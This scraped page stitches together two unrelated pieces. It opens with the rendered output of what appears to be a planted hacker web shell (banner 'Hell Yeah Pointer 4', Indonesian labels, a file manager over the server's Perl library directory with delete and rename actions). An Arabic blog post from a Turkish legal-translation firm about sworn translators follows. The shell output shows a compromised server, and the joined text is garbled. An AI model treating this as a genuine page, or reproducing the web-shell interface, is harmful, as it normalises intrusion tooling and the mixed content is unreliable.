Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-03 21:06:01
curdir: / / lib64 / perl5 / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:47:38 0755
.. 65536 2026-01-06 04:38:49 0555
B 4096 2025-12-03 11:13:35 0755
B.pm 31457 2025-07-28 11:07:09 0644
CORE 4096 2026-01-04 11:38:30 0755
Config.pm 3198 2025-07-28 11:07:09 0644
Config.pod 256889 2025-07-28 11:07:09 0644
Config_git.pl 409 2025-07-28 11:07:09 0644
Config_heavy.pl 56655 2025-07-28 11:07:09 0644
Devel 4096 2026-01-04 11:38:29 0755
DynaLoader.pm 25222 2025-07-28 11:07:09 0644
Errno.pm 6865 2025-07-28 11:07:09 0644
Fcntl.pm 4044 2025-07-28 11:07:09 0644
File 4096 2025-12-03 11:13:35 0755
GDBM_File.pm 1551 2025-07-28 11:07:09 0644
Hash 4096 2025-12-03 11:13:35 0755
I18N 4096 2025-12-03 11:13:35 0755
IO 4096 2025-12-03 11:13:32 0755
IO.pm 1453 2025-07-28 11:07:09 0644
IPC 4096 2025-07-28 11:07:09 0755
NDBM_File.pm 2500 2025-07-28 11:07:09 0644
O.pm 4208 2025-07-28 11:07:09 0644
ODBM_File.pm 2383 2025-07-28 11:07:09 0644
Opcode.pm 15893 2025-07-28 11:07:09 0644
POSIX.pm 20198 2025-07-28 11:07:09 0644
POSIX.pod 73705 2025-07-28 11:07:09 0644
PerlIO 4096 2025-12-03 11:13:35 0755
SDBM_File.pm 3541 2025-07-28 11:07:09 0644
Sys 4096 2025-12-03 11:13:35 0755
Tie 4096 2025-12-03 11:13:32 0755
Time 4096 2026-01-04 11:38:29 0755
_h2ph_pre.ph 29256 2025-07-28 11:07:18 0644
arybase.pm 2816 2025-07-28 11:07:09 0644
asm 4096 2025-12-03 11:13:35 0755
asm-generic 4096 2025-12-03 11:13:35 0755
attributes.pm 16929 2025-07-28 11:07:09 0644
auto 4096 2026-01-04 11:38:29 0755
bits 4096 2025-12-03 11:13:35 0755
endian.ph 4461 2025-07-28 11:07:18 0644
features.ph 13692 2025-07-28 11:07:18 0644
gnu 4096 2025-12-03 11:13:35 0755
lib.pm 6006 2025-07-28 11:07:09 0644
linux 4096 2025-12-03 11:13:35 0755
machine 4096 2025-07-28 11:07:18 0755
mro.pm 10099 2025-07-28 11:07:09 0644
ops.pm 997 2025-07-28 11:07:09 0644
perllocal.pod 7055 2026-01-04 13:25:39 0644
re.pm 22687 2025-07-28 11:07:09 0644
signal.ph 3381 2025-07-28 11:07:18 0644
stdarg.ph 2870 2025-07-28 11:07:18 0644
stdc-predef.ph 840 2025-07-28 11:07:18 0644
stddef.ph 12372 2025-07-28 11:07:18 0644
sys 4096 2025-12-03 11:13:35 0755
syscall.ph 86 2025-07-28 11:07:18 0644
syslimits.ph 452 2025-07-28 11:07:18 0644
syslog.ph 85 2025-07-28 11:07:18 0644
vendor_perl 4096 2026-01-04 11:50:44 0755
wait.ph 83 2025-07-28 11:07:18 0644
مجموعة كريم - الترجمة المحلفة في تركيا – ما هي وما أهميتها

الترجمة المحلفة في تركيا – ما هي وما أهميتها

Blog Details

الترجمة المحلفة في تركيا – ما هي وما أهميتها

تعد الترجمة من اللغة الأجنبية إلى اللغة التركية من أكثر الخدمات التي يتم طلبها في تركيا، ولا شك أن أهمية ترجمة الأوراق الرسمية والحكومية يجب أن تكون من مترجم محلف في تركيا، يمكنه أن يترجم وثائقك التي تحتاجها باللغة التركية لتيسير معاملة ما في تركيا.

لذا في هذه المقالة سنتعرف عن الترجمة المحلفة في تركيا، وما هي وما أهميتها.

 

ما هي الترجمة المحلفة في تركيا؟

تعتبر الترجمة المحلفة بأنها هي الترجمة المعتمدة والترجمة المستوفية الدقيقة للعقود والوثائق والشهادات وغيرها من الأوراق الرسمية أو الخاصة التي تحمل الطابع القانوني وفق الشروط القانونية التي تضعها الحكومة التركية، مما يسمح باستخدامها في مؤسسات الدولة، ويتم التعامل بها بشكل رسمي، مع إقرار المترجم بمسؤوليته عن دقة الوثيقة التي تمت ترجمتها من اللغة الأجنبية إلى اللغة التركية.

 

من هو المترجم المحلف؟

الترجمان المحلف في تركيا هو شخص متخرج من إحدى أقسام اللغات الأجنبية أو قسم الترجمة، ويكون المترجم المحلف في تركيا متقنا اللغة التي سيترجم لها واللغة المترجم منها، ويكون مخول من كاتب العدل للترجمة الرسمية للوثائق القانونية وختم المترجم المحلف ذات صفة رسمية في المؤسسات الحكومية في الدولة.

 

ما الذي يجب على المترجم المحلف؟

يجب على الترجمان المحلف أن يتمتع بصفات عديدة، مثل الحفاظ على سرية المعلومات التي يترجمها، والانضباط الذاتي، والموثوقية والأمانة المطلقة في نقل المعلومات من لغة إلى أخرى، بالإضافة إلى ضرورة إتقان اللغات بتفاصيلها الدقيقة ومصطلحاتها وعرفها، ومعرفة التشريعات ذات الصلة، وامتلاك القدرة على تحديد أولويات الأوصاف الوظيفية المتعددة.

 

ما هي الشروط المطلوبة لأكون مترجم محلف؟

لكي تكون مترجم محلف في تركيا عليك أن تستوفي شروط المترجم المحلف في تركيا، ومعرفة المعايير المطلوبة التي تحددها المؤسسات التركية، وهذه الشروط هي:

  • أن تكون مواطنا تركيا، أو حاملا للجنسية التركية.
  • الحصول على شهادة تخرج من أقسام اللغات الأجنبية، أو أقسام الترجمة في الجامعات التركية، أو الجامعات التي تعترف بشهادتها الحكومة التركية.
  • الحصول على وثيقة اختبار تثبت إمكانيتك في إتقان اللغة الأجنبية التي تريد أن تترجم منها إلى اللغة التركية.
  • التقديم لدى كاتب العدل بدرجة البكالوريوس وشهادة إتقان اللغة الأجنبية.
  • أن تؤدي اليمين أمام كاتب العدل.

 

ما هي أهمية الترجمة المحلفة في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

يمكنكم الحصول على خدمة الترجمة المحلفة من مجموعة كريم للاستشارات القانونية.

 

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.

 

اقرأ أيضا:

خدمة الترجمة في تركيا